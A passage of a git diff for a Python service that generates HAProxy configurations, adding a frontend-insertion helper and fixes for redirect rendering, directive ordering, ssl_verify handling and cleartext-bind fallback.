getattr(server, "cookie_value", None), + getattr(server, "inter", None), + getattr(server, "fall", None), + getattr(server, "rise", None), + cluster_id, + ) + + if mark_pending: + await conn.execute( + "UPDATE backend_servers SET last_config_status='PENDING' WHERE id=$1", + server_id, + ) + + return server_id diff --git a/backend/services/frontend_service.py b/backend/services/frontend_service.py new file mode 100644 index 0000000..f0f7a56 --- /dev/null +++ b/backend/services/frontend_service.py @@ -0,0 +1,150 @@ +""" +frontend_service: extracted helper for INSERT-row creation of frontends. + +Used by: +- routers/site_wizard.py (atomic transaction wizard) +- routers/letsencrypt.py _complete_certificate post_completion_actions + +Design (Section 4.2 of v1.5.0 plan): +- M13: writes BOTH ssl_certificate_id (INT col) AND ssl_certificate_ids (JSONB col). +- mark_pending=True triggers post-INSERT UPDATE last_config_status='PENDING' + (matches existing frontend.py:526 pattern). +- Schema accuracy R38: bind_address / bind_port (NOT port); redirect_rules / acl_rules / + use_backend_rules are JSONB columns. +""" + +import json +import logging +from typing import Any, Optional + +logger = logging.getLogger(__name__) + + +async def create_frontend_row( + conn, + payload: Any, + cluster_id: int, + *, + ssl_certificate_id: Optional[int] = None, + ssl_enabled: Optional[bool] = None, + bind_port_override: Optional[int] = None, + name_override: Optional[str] = None, + mark_pending: bool = True, +) -> int: + """Insert a row into frontends; return new id. + + Mirrors POST /api/frontends INSERT (frontend.py:481-499) field-for-field. + + M13: writes ssl_certificate_id AND ssl_certificate_ids consistently. If + ssl_certificate_id resolved (param OR payload.ssl_certificate_id), + ssl_certificate_ids = json.dumps([id]); else json.dumps([]). + """ + cert_id = ssl_certificate_id if ssl_certificate_id is not None else getattr(payload, "ssl_certificate_id", None) + cert_ids_list = [cert_id] if cert_id else [] + ssl_cert_ids_json = json.dumps(cert_ids_list) + + fe_name = name_override if name_override is not None else payload.name + fe_ssl_enabled = ssl_enabled if ssl_enabled is not None else getattr(payload, "ssl_enabled", False) + fe_bind_port = bind_port_override if bind_port_override is not None else payload.bind_port + + frontend_id = await conn.fetchval( + """ + INSERT INTO frontends ( + name, bind_address, bind_port, default_backend, mode, + ssl_enabled, ssl_certificate_id, ssl_certificate_ids, ssl_port, ssl_cert_path, ssl_cert, ssl_verify, + ssl_alpn, ssl_npn, ssl_ciphers, ssl_ciphersuites, ssl_min_ver, ssl_max_ver, ssl_strict_sni, + acl_rules, redirect_rules, use_backend_rules, + request_headers, response_headers, options, tcp_request_rules, timeout_client, timeout_http_request, + rate_limit, compression, log_separate, monitor_uri, + cluster_id, maxconn, updated_at + ) VALUES ( + $1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, + $13, $14, $15, $16, $17, $18, $19, + $20, $21, $22, + $23, $24, $25, $26, $27, $28, + $29, $30, $31, $32, + $33, $34, CURRENT_TIMESTAMP + ) + RETURNING id + """, + fe_name, + getattr(payload, "bind_address", "*"), + fe_bind_port, + getattr(payload, "default_backend", None), + getattr(payload, "mode", "http"), + fe_ssl_enabled, + cert_id, + ssl_cert_ids_json, + getattr(payload, "ssl_port", None), + getattr(payload, "ssl_cert_path", None), + getattr(payload, "ssl_cert", None), + getattr(payload, "ssl_verify", None), + getattr(payload, "ssl_alpn", None), + getattr(payload, "ssl_npn", None), + getattr(payload, "ssl_ciphers", None), + getattr(payload, "ssl_ciphersuites", None), + getattr(payload, "ssl_min_ver", None), + getattr(payload, "ssl_max_ver", None), + getattr(payload, "ssl_strict_sni", None), + json.dumps(getattr(payload, "acl_rules", None) or []), + json.dumps(getattr(payload, "redirect_rules", None) or []), + json.dumps(getattr(payload, "use_backend_rules", None) or []), + getattr(payload, "request_headers", None), + getattr(payload, "response_headers", None), + getattr(payload, "options", None), + getattr(payload, "tcp_request_rules", None), + getattr(payload, "timeout_client", None), + getattr(payload, "timeout_http_request", None), + getattr(payload, "rate_limit", None), + getattr(payload, "compression", None), + getattr(payload, "log_separate", None), + getattr(payload, "monitor_uri", None), + cluster_id, + getattr(payload, "maxconn", None), + ) + + if mark_pending: + await conn.execute( + "UPDATE frontends SET last_config_status='PENDING' WHERE id=$1", + frontend_id, + ) + + return frontend_id + + +async def check_bind_port_collision( + conn, + cluster_id: int, + bind_address: str, + bind_port: int, + *, + exclude_frontend_id: Optional[int] = None, +) -> Optional[int]: + """Return id of an existing frontend that conflicts with bind_address+bind_port, + or None if no conflict. + + Used by: + - wizard pre-create (Section 6.2 step before INSERT) + - _complete_certificate post-action HTTPS frontend create (M21/R35) + """ + if exclude_frontend_id is not None: + return await conn.fetchval( + """ + SELECT id FROM frontends + WHERE cluster_id=$1 AND bind_address=$2 AND bind_port=$3 + AND is_active=TRUE AND id <> $4 + """, + cluster_id, + bind_address, + bind_port, + exclude_frontend_id, + ) + return await conn.fetchval( + """ + SELECT id FROM frontends + WHERE cluster_id=$1 AND bind_address=$2 AND bind_port=$3 AND is_active=TRUE + """, + cluster_id, + bind_address, + bind_port, + ) diff --git a/backend/services/haproxy_config.py b/backend/services/haproxy_config.py index a760b82..d99154f 100644 --- a/backend/services/haproxy_config.py +++ b/backend/services/haproxy_config.py @@ -9,6 +9,502 @@ from database.connection import get_database_connection, close_database_connecti logger = logging.getLogger(__name__) + +def _format_redirect_rule(rule: Any) -> Optional[str]: + """Render a single redirect rule into a HAProxy `redirect ...` line. + + R11.A-1 fix (PR-1 hotfix): pre-fix the generator stringified dicts + via ``str(rule)``, which produced parser-fatal output like + ``redirect {'type': 'scheme', 'code': 301, ...}``. The wizard's + ``_build_redirect_rules`` always emits dicts, so every wizard- + generated HTTPS redirect failed agent reload at the apply stage. + + Schema accepted (forward + backward compatible): + + - ``{type: 'scheme', scheme: 'https', code: 301, condition: ...}`` + - ``{type: 'location', location: 'http://...', code: 302, ...}`` + - ``{type: 'prefix', prefix: '/v2', code: 301, ...}`` + - Plain string (legacy raw HAProxy fragment, e.g. + ``"scheme https if !{ ssl_fc }"``). + + Returns ``None`` for entries that should be skipped (empty, + invalid type, missing required field for the chosen type). + The returned line is already indented with 4 spaces so callers can + drop it straight into the frontend block. + """ + if rule is None: + return None + + if isinstance(rule, dict): + rtype = (rule.get("type") or "").strip().lower() + code = rule.get("code") + condition = (rule.get("condition") or "").strip() + + if rtype == "scheme": + scheme = (rule.get("scheme") or "https").strip() + if scheme not in ("http", "https"): + logger.warning( + f"REDIRECT: ignoring invalid scheme '{scheme}' " + "(only 'http' or 'https' allowed for redirect scheme)" + ) + return None + parts = ["redirect scheme", scheme] + elif rtype == "location": + url = (rule.get("location") or "").strip() + if not url: + logger.warning( + "REDIRECT: ignoring redirect type=location with empty 'location' field" + ) + return None + parts = ["redirect location", url] + elif rtype == "prefix": + prefix = (rule.get("prefix") or rule.get("location") or "").strip() + if not prefix: + logger.warning( + "REDIRECT: ignoring redirect type=prefix with empty 'prefix' field" + ) + return None + parts = ["redirect prefix", prefix] + else: + logger.warning( + f"REDIRECT: ignoring unknown redirect type '{rtype}' " + "(expected: scheme | location | prefix)" + ) + return None + + if code is not None: + try: + parts.append(f"code {int(code)}") + except (TypeError, ValueError): + logger.warning(f"REDIRECT: invalid 'code' value {code!r}, dropping") + if condition: + # R11-audit-2 (FIX-2): defend against double 'if' when the + # caller already wrote `condition='if !{ ssl_fc }'`. Without + # this guard the rendered line would be + # ``redirect ... if if !{ ssl_fc }`` which HAProxy rejects + # as a parser error. Mirrors the legacy string-rule branch + # below (which never prepends 'if'). + cond_lower = condition.lstrip().lower() + if cond_lower.startswith("if ") or cond_lower.startswith("unless "): + parts.append(condition) + else: + parts.append(f"if {condition}") + + return " " + " ".join(parts) + + # Legacy string entries (e.g. "scheme https if !{ ssl_fc }"). + # FIX-11 (R11-audit round 2): some legacy DB rows from earlier + # releases stored the FULL `redirect ...` line including the + # leading 'redirect ' keyword. Without this guard the helper + # would prepend a second 'redirect ', producing the parser- + # fatal `redirect redirect scheme https ...`. Strip a leading + # `redirect` token (with OR without trailing space — `"redirect"` + # alone after `.strip()` no longer carries the trailing space) + # so both legacy variants render to a single, syntactically + # valid line and a naked keyword cleanly returns None. + s = str(rule).strip() + if not s or s in ("[]", "{}", "null", "None"): + return None + s_lower = s.lower() + if s_lower == "redirect" or s_lower.startswith("redirect "): + # Strip the keyword (and any whitespace following it). + # `"redirect"` alone reduces to `""` → return None below. + s = s[len("redirect"):].lstrip() + if not s: + return None + return f" redirect {s}" + + +def _normalize_haproxy_config_text_for_diff(text: str) -> str: + """Apply renderer-side normalizations to an already-rendered HAProxy + config text so that diffs between two versions surface ONLY + operator-intent changes — not renderer evolution. + + Why this exists + --------------- + The `config_versions` table stores the verbatim rendered config + at the time each version was created. When the renderer is then + improved (e.g. Bulgu #13 added `http-request track-sc ` + dedup and stripped per-server `cookie ` when the parent + backend has no `cookie_name`), the PREVIOUS-version text was + written with the OLD renderer and the CURRENT-version text is + written with the NEW renderer. `difflib.unified_diff` then + surfaces those renderer-driven differences as `+`/`-` lines on + entities the operator never touched, which is extremely + confusing — especially when the operator's actual change was + just "add one new frontend". + + The fix: run BOTH sides of the diff through this normalization + pass first. After normalization, two configs that differ only + by renderer-evolution will compare equal and the diff will + surface ONLY the operator's actual changes. + + Normalizations applied (must match the renderer): + + 1. **`http-request track-sc ` dedup within a + section.** The (counter, fetch) tuple uniquely identifies + the tracker; identical signatures within the same + frontend / listen block collapse to the first occurrence. + + 2. **`cookie ` strip on `server` lines whose parent + backend has no top-level `cookie` directive.** Matches the + renderer guard added for Bulgu #13 (per-server cookie value + is silently broken stickiness without a backend-level + `cookie_name`). + + Safety + ------ + - Idempotent: running this on an already-normalized config + produces the same config (set membership / strip both + handle re-application). + - Section-scoped: dedup tracker signatures reset on every new + section header so unrelated frontends don't cross-pollute. + - Conservative: only the two transformations above are applied; + we do NOT rewrite ACLs, reorder buckets, or touch operator- + authored content. Lines we don't recognise pass through verbatim. + + Args: + text: Full rendered HAProxy config as a single string. + + Returns: + Normalized config text. Empty / None input passes through. + """ + if not text: + return text + + lines = text.split('\n') + + # ── Pass 1: scan for `cookie` directives that license per-server + # `cookie ` attributes. Bulgu #13 strips per-server + # cookies whose parent block has no licensing directive; we + # mirror that decision here. + # + # HAProxy semantics (docs section 4.1 — keyword matrix): + # + # The `cookie` directive may appear in `defaults`, `frontend`, + # `listen`, AND `backend` sections. A `cookie` in `defaults` + # is INHERITED by every subsequent `backend` and `listen` so + # they no longer need to repeat it. A `cookie` inside a + # `frontend` is unusual and applies to that frontend only. + # + # Tracking is therefore per-section (backend + listen) PLUS one + # global flag for defaults inheritance. We DO NOT track frontends + # because per-server cookie attributes only exist on `server` + # lines, which only exist in `backend` / `listen`. + cookie_licensed_sections: set = set() + defaults_has_cookie = False + cur_section_kind: Optional[str] = None + cur_section_name: Optional[str] = None + for line in lines: + stripped = line.strip() + if not stripped: + continue + is_indented = line.startswith((' ', '\t')) + if not is_indented and not stripped.startswith('#'): + parts = stripped.split() + if not parts: + continue + kind = parts[0] + if kind in ('frontend', 'backend', 'listen', 'global', 'defaults'): + cur_section_kind = kind + # `defaults` and `global` need no name. `frontend`, + # `backend`, `listen` carry the entity name as the + # second token (which is what we key the licensed + # set off). + cur_section_name = parts[1] if ( + kind in ('frontend', 'backend', 'listen') + and len(parts) >= 2 + ) else None + else: + cur_section_kind = None + cur_section_name = None + elif ( + cur_section_kind in ('backend', 'listen', 'defaults') + and not stripped.startswith('#') + and stripped.startswith('cookie ') + ): + # Top-level `cookie ...` directive — this is the cookie_name + # directive that licenses per-server `cookie ` lines. + if cur_section_kind == 'defaults': + defaults_has_cookie = True + elif cur_section_name is not None: + cookie_licensed_sections.add((cur_section_kind, cur_section_name)) + + # ── Pass 2: emit normalized lines. ────────────────────── + out: List[str] = [] + cur_section_kind = None + cur_section_name = None + # Per-section state for track-sc dedup + cur_track_sigs: set = set() + for raw in lines: + line = raw + stripped = line.strip() + is_indented = line.startswith((' ', '\t')) + + # Detect section boundary (top-level non-comment directive + # starts a new section) + if stripped and not is_indented and not stripped.startswith('#'): + parts = stripped.split() + if parts and parts[0] in ('frontend', 'backend', 'listen', 'global', 'defaults'): + cur_section_kind = parts[0] + cur_section_name = parts[1] if ( + parts[0] in ('frontend', 'backend', 'listen') + and len(parts) >= 2 + ) else None + cur_track_sigs = set() + else: + cur_section_kind = None + cur_section_name = None + + # ── Normalization 1: track-sc dedup (frontend/listen). ── + # HAProxy semantics: `http-request track-sc` only exists + # in `frontend` / `listen` sections. The (counter, fetch) + # tuple uniquely identifies the tracker. + if ( + cur_section_kind in ('frontend', 'listen') + and stripped.startswith('http-request track-sc') + ): + tparts = stripped.split() + if len(tparts) >= 3: + sig = (tparts[1], tparts[2]) + if sig in cur_track_sigs: + # Skip this duplicate. + continue + cur_track_sigs.add(sig) + + # ── Normalization 2: strip per-server `cookie ` when + # the parent section (backend OR listen) has no licensing + # `cookie` directive AND `defaults` does not declare one + # for inheritance. ── + # + # Conservative: when in doubt (defaults declares cookie, or + # section declares cookie), we KEEP the per-server cookie. + # Stripping is only applied when we are SURE no licensing + # path exists. + section_licenses_cookie = ( + defaults_has_cookie + or ( + cur_section_kind in ('backend', 'listen') + and cur_section_name is not None + and (cur_section_kind, cur_section_name) in cookie_licensed_sections + ) + ) + if ( + cur_section_kind in ('backend', 'listen') + and cur_section_name is not None + and not section_licenses_cookie + and is_indented + and stripped.startswith('server ') + ): + tokens = stripped.split() + new_tokens: List[str] = [] + i = 0 + while i < len(tokens): + tok = tokens[i] + # HAProxy server-line layout: + # server
[:port] [keyword ]* + # + # The `cookie ` pair is ALWAYS a keyword pair + # in the trailing parameters — it can never appear + # at i=1 (that's the server name) or i=2 (the + # address). Guarding with i >= 3 protects against + # legitimate corner cases where an operator named a + # server `cookie` or used `cookie:port` as a + # hostname. + if tok == 'cookie' and i >= 3 and i + 1 < len(tokens): + # Drop `cookie ` pair. HAProxy syntax: + # the cookie attribute value is exactly one + # token. + i += 2 + continue + new_tokens.append(tok) + i += 1 + # Preserve original leading whitespace so indentation + # stays consistent with the rest of the block. + leading_len = len(line) - len(line.lstrip()) + line = (line[:leading_len]) + ' '.join(new_tokens) + + out.append(line) + + return '\n'.join(out) + + +def _categorize_haproxy_directive(line: str) -> str: + """Classify a single emitted HAProxy directive line into its + correct frontend-block emission category for ordering purposes. + + R2.3 / R3.3 (PR-1 hotfix): HAProxy parser emits soft warnings + when ``http-request`` rules appear after ``use_backend`` / + ``default_backend``, or when ``tcp-request`` appears after + ``http-request``. Some warnings (``stick-table already declared``, + ``http-request placed after use_backend``) escalate to fatal in + strict mode. We classify each directive once and reorder before + flushing to ``config_lines`` so the rendered config matches the + canonical HAProxy ordering: + + bind → mode → option → timeout → maxconn → monitor-uri → + compression → log → stick-table → tcp-request → acl → + http-request → http-response → redirect → use_backend → + default_backend + + Comments (``# ...``) are routed to the same category as the next + directive heuristically (they keep their semantic anchor in the + rendered output). Unknown directives default to 'prelude' so + they appear early; the validator surfaces them as warnings. + """ + s = line.strip() + if not s: + return "prelude" + # Strip the indent for prefix matching + if s.startswith("#"): + # Heuristic: comments containing WAF / filter / rate-limit / + # custom-condition keywords stick to the `acl` bucket so they + # are emitted next to the rule they describe (operator UX — + # otherwise the comment lands at the top of the frontend block + # and the rule lands lower down, making the rendered config + # confusing). Mode-mismatch warnings emitted by the + # default_backend branch use the 'BACKEND-MODE-WARNING' marker + # below and are routed into `default_be` so they sit right + # next to the `default_backend` directive they refer to. + cmt = s.lower() + if "backend-mode-warning" in cmt: + # FIX-10 (R11-audit round 2): mode-mismatch warnings must + # emit next to the default_backend directive, not at the + # top of the frontend block. + return "default_be" + if ( + "waf rule:" in cmt + or "ip filter" in cmt + or "rate limit" in cmt + or "header filter" in cmt + or "request filter" in cmt + # FIX-9 (R11-audit round 2): WAF custom-comment keywords + # that the original heuristic missed. Pre-fix the + # `# Log Message:`, `# Custom Log:`, `# Custom Condition + # for ...` and size_limit log markers landed in 'prelude' + # (top of the block) while their rules landed in + # 'http_req' (later) — visually disconnected. + or "log message:" in cmt + or "custom log:" in cmt + or "custom condition for" in cmt + or "filter log:" in cmt + ): + return "acl" + return "prelude" + if s.startswith("acl "): + return "acl" + if s.startswith("stick-table") or s.startswith("stick "): + return "stick" + if s.startswith("tcp-request"): + return "tcp_req" + if s.startswith("http-request"): + return "http_req" + if s.startswith("http-response"): + return "http_resp" + if s.startswith("redirect "): + return "redirect" + if s.startswith("use_backend"): + return "use_be" + if s.startswith("default_backend"): + return "default_be" + if ( + s.startswith("option ") + or s.startswith("timeout ") + or s.startswith("maxconn ") + or s.startswith("compression ") + or s.startswith("monitor-uri") + or s.startswith("log ") + or s.startswith("description ") + or s.startswith("disabled") + or s.startswith("enabled") + ): + return "prelude" + return "prelude" + + +def _resolve_frontend_client_ca_path( + frontend: Dict[str, Any], cluster_id: Optional[int] = None +) -> Optional[str]: + """Return the client-CA bundle path for bind-side mTLS, or None. + + Forward-path placeholder for PR-7 (`ssl_client_ca_certificate_id` + column). Until that column exists we always return None — callers + treat None as "no CA configured", which combined with + ``ssl_verify ∈ {required, optional}`` triggers the safeguard + that suppresses the `verify` directive (see + `_apply_bind_ssl_verify`). When PR-7 lands this helper will look + up the cert via the same query as `_get_ssl_certificate_path` but + filtered by ``usage_type IN ('client_ca', 'frontend')``. + """ + return None + + +def _apply_bind_ssl_verify( + bind_line: str, frontend: Dict[str, Any], cluster_id: Optional[int] = None +) -> str: + """Append `verify ` (and `ca-file ` when needed) to a bind line. + + R11.A-2 (PR-1 hotfix): bind-side `verify required|optional` requires + a `ca-file ` argument — without it HAProxy emits the fatal + ALERT:: + + Proxy 'X': verify is enabled but no CA file specified for bind '...' + + Pre-fix the generator emitted ``verify `` verbatim regardless + of whether a client-CA bundle was resolvable, breaking every + frontend that had ``ssl_verify ∈ {required, optional}`` (the + column DEFAULT was 'optional' until PR-2). Symmetric to the + server-side downgrade in the `backend ... server` block. + + Behaviour: + + - ``ssl_verify`` empty / ``'none'`` → no directive appended. + - ``ssl_verify == 'required' | 'optional'`` and a client-CA path is + resolvable → emit ``ca-file verify ``. + - ``ssl_verify == 'required' | 'optional'`` and NO client-CA path → + emit nothing, log ERROR with frontend name + cluster id so apply + diagnostics surface the cause. + - Unknown ``ssl_verify`` value → emit nothing, log WARNING. + """ + raw = frontend.get("ssl_verify") + if raw is None: + return bind_line + val = str(raw).strip().lower() + if val in ("", "none", "[]", "{}", "null"): + return bind_line + if val not in ("required", "optional"): + logger.warning( + f"BIND SSL_VERIFY: frontend '{frontend.get('name')}' has " + f"unknown ssl_verify value '{raw}' — skipping verify directive." + ) + return bind_line + + client_ca_path = _resolve_frontend_client_ca_path(frontend, cluster_id) + if not client_ca_path: + # FIX-12 (R11-audit round 2): the prior message hinted at a + # "Frontend Management → Advanced TLS" UI path that does not + # yet exist (it lands with PR-7 of the rollout). Operators + # following the hint hit a dead end and assumed the safeguard + # was a bug. Switched to a hint that is ALWAYS actionable on + # the current release: clear the column or set it to 'none'. + # The forward-compat hint that PR-7 will introduce a proper + # client-CA bundle field is preserved as a follow-up note. + logger.error( + f"BIND SSL_VERIFY DOWNGRADE: frontend '{frontend.get('name')}' " + f"(cluster_id={cluster_id}) requested ssl_verify='{val}' but " + "no client-CA bundle is resolvable. Skipping the 'verify' " + "directive on the bind line to prevent fatal HAProxy ALERT " + "'verify is enabled but no CA file specified'. To clear " + "this diagnostic, either set ssl_verify='none' on the " + "frontend or wait for the upcoming " + "ssl_client_ca_certificate_id column (PR-7) which will " + "let you bind a client-CA bundle for inbound mTLS." + ) + return bind_line + + return bind_line + f" ca-file {client_ca_path} verify {val}" + + async def _get_ssl_certificate_path(frontend: Dict[str, Any], cluster_id: int, db_conn: Any) -> Optional[str]: """ Get SSL certificate path for frontend based on ssl_certificate_id @@ -288,7 +784,20 @@ async def generate_haproxy_config_for_cluster(cluster_id: int, conn: Optional[An bind_line += f" ssl-max-ver {frontend['ssl_max_ver']}" if frontend.get('ssl_strict_sni'): bind_line += " strict-sni" - + # R11.A-2 fix (PR-1 hotfix): emit `verify required|optional` + # on bind line ONLY when a client-CA bundle is resolvable. + # Pre-fix the directive was emitted verbatim, but the + # `frontends` schema has no client-CA bundle column yet + # — so `bind ... ssl crt verify required` + # produced HAProxy fatal ALERT + # "verify is enabled but no CA file specified". + # Symmetric to the server-side downgrade at line ~840. + # Forward path: a future `ssl_client_ca_certificate_id` + # column will resolve `client_ca_path`; until then the + # directive is silently skipped with an ERROR log so + # operator-facing diagnostics surface the cause. + bind_line = _apply_bind_ssl_verify(bind_line, frontend, cluster_id) + config_lines.append(bind_line) bind_added = True logger.info(f"SSL NEW MODE: Added {len(cert_paths)} certificate(s) on port {frontend['bind_port']}") @@ -319,7 +828,10 @@ async def generate_haproxy_config_for_cluster(cluster_id: int, conn: Optional[An bind_line += f" ssl-max-ver {frontend['ssl_max_ver']}" if frontend.get('ssl_strict_sni'): bind_line += " strict-sni" - + # R11.A-2 fix (PR-1 hotfix): see NEW MODE branch above + # for the bind-side ssl_verify safeguard rationale. + bind_line = _apply_bind_ssl_verify(bind_line, frontend, cluster_id) + config_lines.append(bind_line) bind_added = True logger.info(f"SSL OLD MODE: Separate HTTPS port {https_port} with single cert") @@ -328,171 +840,279 @@ async def generate_haproxy_config_for_cluster(cluster_id: int, conn: Optional[An else: logger.warning(f"SSL enabled but no certificates configured for frontend '{frontend['name']}'") - # If no SSL bind was added (SSL disabled or failed), add plain HTTP bind + # R18c audit fix (round 3 #2 — KRITIK SECURITY): if SSL was + # ENABLED on this frontend but no certificate could be + # resolved (cert deleted between INSERT and config gen, + # or ACME-deferred state where the cert isn't issued + # yet), the pre-fix branch fell through to a plain + # `bind addr:port` (no `ssl` keyword) — i.e. it + # silently downgraded the operator's HTTPS frontend to + # CLEARTEXT on the same port. Anyone hitting that port + # over the wire then got plaintext HTTP, leaking + # cookies and credentials before the operator noticed. + # + # The correct behaviour is to OMIT the bind entirely + # so HAProxy's reload either (a) keeps the previous + # SSL bind from the running config, or (b) the apply + # surfaces an empty/incomplete frontend that fails + # validation rather than degrading to cleartext. if not bind_added: - config_lines.append(f" bind {frontend['bind_address']}:{frontend['bind_port']}") + if frontend.get('ssl_enabled', False): + logger.error( + f"SSL BIND OMITTED: frontend '{frontend['name']}' " + "has ssl_enabled=true but no certificate path could " + "be resolved — refusing to emit a cleartext fallback " + "bind on the SSL port (would silently downgrade " + "HTTPS to plaintext). Resolve the cert binding " + "before applying." + ) + else: + config_lines.append( + f" bind {frontend['bind_address']}:{frontend['bind_port']}" + ) config_lines.append(f" mode {frontend['mode']}") - + + # ───────────────────────────────────────────────────────────────── + # R2.3 / R3.3 (PR-1 hotfix): emit ordering buckets. + # All directives between `bind/mode` and the closing blank line + # are routed into per-category buckets and flushed at the + # end of this frontend block in canonical HAProxy order: + # + # prelude (option/timeout/maxconn/monitor-uri/compression/log) + # stick (stick-table/track-sc0) — DEDUP'ed + # tcp_req (tcp-request *) + # acl (acl *) + # http_req (http-request *) + # http_resp (http-response *) + # redirect (redirect *) + # use_be (use_backend *) + # default_be (default_backend) + # + # Pre-fix the `http-request` / `tcp-request` / `use_backend` + # rules emitted in source-code order produced HAProxy + # warnings of the form + # "a 'http-request' rule placed after a 'use_backend' rule + # will still be processed before" + # for every WAF, ACL and rate-limit directive in user + # configurations. The user's reported bug shows ~30 such + # warnings on a real config. Buckets eliminate that. + # `_stick_emitted` tracks whether the global rate-limit + # `stick-table` line has already been written so subsequent + # WAF `rate_limit` rules don't redeclare it (HAProxy fatal + # "stick-table already declared"). + # ───────────────────────────────────────────────────────────────── + _fe_buckets: Dict[str, List[str]] = { + "prelude": [], "stick": [], "tcp_req": [], + "acl": [], "http_req": [], "http_resp": [], + "redirect": [], "use_be": [], "default_be": [], + } + _stick_table_emitted = False + # Phase K Phase D follow-up (Bulgu #13) — same dedup + # contract for `http-request track-sc ` lines. + # HAProxy only NEEDS one tracking call per + # (counter, fetch) tuple per frontend; the subsequent + # rate-limit / WAF rules can all consume the already- + # tracked counter via `sc_http_req_rate(N)`. Pre-fix + # every WAF rate_limit rule emitted its own + # `track-sc0 src` line, producing N-1 redundant + # directives per frontend (each one a state-table + # operation per request). + # + # We dedup on the FULL `track-sc ` signature so + # the (rare) operator who uses both `track-sc0 src` AND + # `track-sc0 dst` (different sample fetches → different + # counter keys) keeps both lines — only IDENTICAL + # signatures collapse. + _track_sc_signatures: set = set() + + def _emit_fe(line: str) -> None: + """Route a single rendered HAProxy directive line into the + correct frontend-block bucket. Idempotent for stick-table + lines (R3.3 dedup) AND http-request track-sc lines + (Bulgu #13 dedup).""" + nonlocal _stick_table_emitted + cat = _categorize_haproxy_directive(line) + stripped = line.strip() + if cat == "stick": + if _stick_table_emitted and stripped.startswith("stick-table"): + logger.debug( + f"STICK-TABLE DEDUP: skipping duplicate " + f"declaration in frontend '{frontend['name']}': " + f"{stripped}" + ) + return + if stripped.startswith("stick-table"): + _stick_table_emitted = True + # Bulgu #13 dedup (round 2) — categorisation routes + # `http-request track-sc` to the `http_req` bucket + # (it IS an http-request rule). Build a stable + # signature from the directive + counter + fetch so + # multiple counters / fetches don't collide. + if stripped.startswith("http-request track-sc"): + parts = stripped.split() + # parts looks like ['http-request', 'track-sc0', 'src', ...] + # The (track-scN, fetch) tuple uniquely identifies + # the tracker. Anything after that (e.g. `table foo`) + # is part of the SAME tracker and shouldn't change + # the signature. + if len(parts) >= 3: + sig = (parts[1], parts[2]) + if sig in _track_sc_signatures: + logger.debug( + f"TRACK-SC DEDUP: skipping duplicate " + f"`{stripped}` in frontend " + f"'{frontend['name']}' — same " + f"(counter, fetch) signature already " + f"emitted; subsequent rate-limit " + f"rules consume the same counter." + ) + return + _track_sc_signatures.add(sig) + _fe_buckets[cat].append(line) + # ACME HTTP-01 Challenge routing (auto-managed) if frontend['mode'] == 'http' and cluster_info.get('acme_enabled', False): - config_lines.append(" acl is_acme_challenge path_beg /.well-known/acme-challenge/") - config_lines.append(" http-request allow if is_acme_challenge") - config_lines.append(" use_backend _acme_challenge_backend if is_acme_challenge") - + _emit_fe(" acl is_acme_challenge path_beg /.well-known/acme-challenge/") + _emit_fe(" http-request allow if is_acme_challenge") + _emit_fe(" use_backend _acme_challenge_backend if is_acme_challenge") + # Frontend Options (option httplog, option forwardfor, etc.) # Place options early as per HAProxy best practice if frontend.get('options'): for line in frontend['options'].split('\n'): line_stripped = line.strip() - # Skip empty strings, "[]", or invalid rules if line_stripped and line_stripped not in ('[]', '{}', 'null', 'None'): - # Lines are complete HAProxy option directives - # Examples: "option httplog", "option forwardfor", "option dontlognull" - config_lines.append(f" {line_stripped}") - + _emit_fe(f" {line_stripped}") + # CRITICAL: Validate frontend-backend mode compatibility if frontend.get('default_backend'): default_backend_name = frontend['default_backend'].strip() if frontend['default_backend'] else '' - # Skip empty strings, "[]", or invalid backend names if default_backend_name and default_backend_name not in ('[]', '{}', 'null', 'None'): backend_mode = backend_modes.get(default_backend_name) - + if backend_mode and backend_mode != frontend['mode']: - # Mode mismatch - this will cause HAProxy validation to fail! logger.error(f"CONFIG ERROR: Frontend '{frontend['name']}' mode '{frontend['mode']}' does not match backend '{default_backend_name}' mode '{backend_mode}'") - config_lines.append(f" # WARNING: Backend '{default_backend_name}' has mode '{backend_mode}' but frontend has mode '{frontend['mode']}'") - config_lines.append(f" # WARNING: HAProxy will reject this configuration! Please fix the mode mismatch in UI.") - - config_lines.append(f" default_backend {default_backend_name}") + # FIX-10 marker: 'BACKEND-MODE-WARNING' keyword in + # the comment body routes it to the 'default_be' + # bucket via _categorize_haproxy_directive, so the + # warning emits next to the actual default_backend + # directive instead of at the top of the block. + _emit_fe(f" # BACKEND-MODE-WARNING: Backend '{default_backend_name}' has mode '{backend_mode}' but frontend has mode '{frontend['mode']}'") + _emit_fe(f" # BACKEND-MODE-WARNING: HAProxy will reject this configuration! Please fix the mode mismatch in UI.") + + _emit_fe(f" default_backend {default_backend_name}") else: logger.warning(f"CONFIG WARNING: Frontend '{frontend['name']}' has invalid default_backend: '{frontend.get('default_backend')}' - skipping") - + # Timeouts - CRITICAL FIX: Append 'ms' suffix if frontend.get('timeout_client'): - config_lines.append(f" timeout client {frontend['timeout_client']}ms") + _emit_fe(f" timeout client {frontend['timeout_client']}ms") if frontend.get('timeout_http_request'): - config_lines.append(f" timeout http-request {frontend['timeout_http_request']}ms") - + _emit_fe(f" timeout http-request {frontend['timeout_http_request']}ms") + # Max connections if frontend.get('maxconn'): - config_lines.append(f" maxconn {frontend['maxconn']}") - - # Rate limiting + _emit_fe(f" maxconn {frontend['maxconn']}") + + # Rate limiting (frontend.rate_limit) + # R3.3: only the FIRST stick-table line is kept; subsequent + # WAF rate_limit rules track-sc0 against the same table. if frontend.get('rate_limit'): - config_lines.append(f" stick-table type ip size 100k expire 30s store http_req_rate(10s)") - config_lines.append(f" http-request track-sc0 src") - config_lines.append(f" http-request deny if {{ sc_http_req_rate(0) gt {frontend['rate_limit']} }}") - + _emit_fe(f" stick-table type ip size 100k expire 30s store http_req_rate(10s)") + _emit_fe(f" http-request track-sc0 src") + _emit_fe(f" http-request deny if {{ sc_http_req_rate(0) gt {frontend['rate_limit']} }}") + # Compression if frontend.get('compression', False): - config_lines.append(" compression algo gzip") - config_lines.append(" compression type text/html text/plain text/css text/javascript application/javascript") - + _emit_fe(" compression algo gzip") + _emit_fe(" compression type text/html text/plain text/css text/javascript application/javascript") + # Monitor URI if frontend.get('monitor_uri'): monitor_uri = frontend['monitor_uri'].strip() if frontend['monitor_uri'] else '' - # Skip empty strings, "[]", or invalid values if monitor_uri and monitor_uri not in ('[]', '{}', 'null', 'None'): - config_lines.append(f" monitor-uri {monitor_uri}") + _emit_fe(f" monitor-uri {monitor_uri}") - # CRITICAL FIX: ACL Rules MUST come BEFORE http-request directives - # HAProxy requires 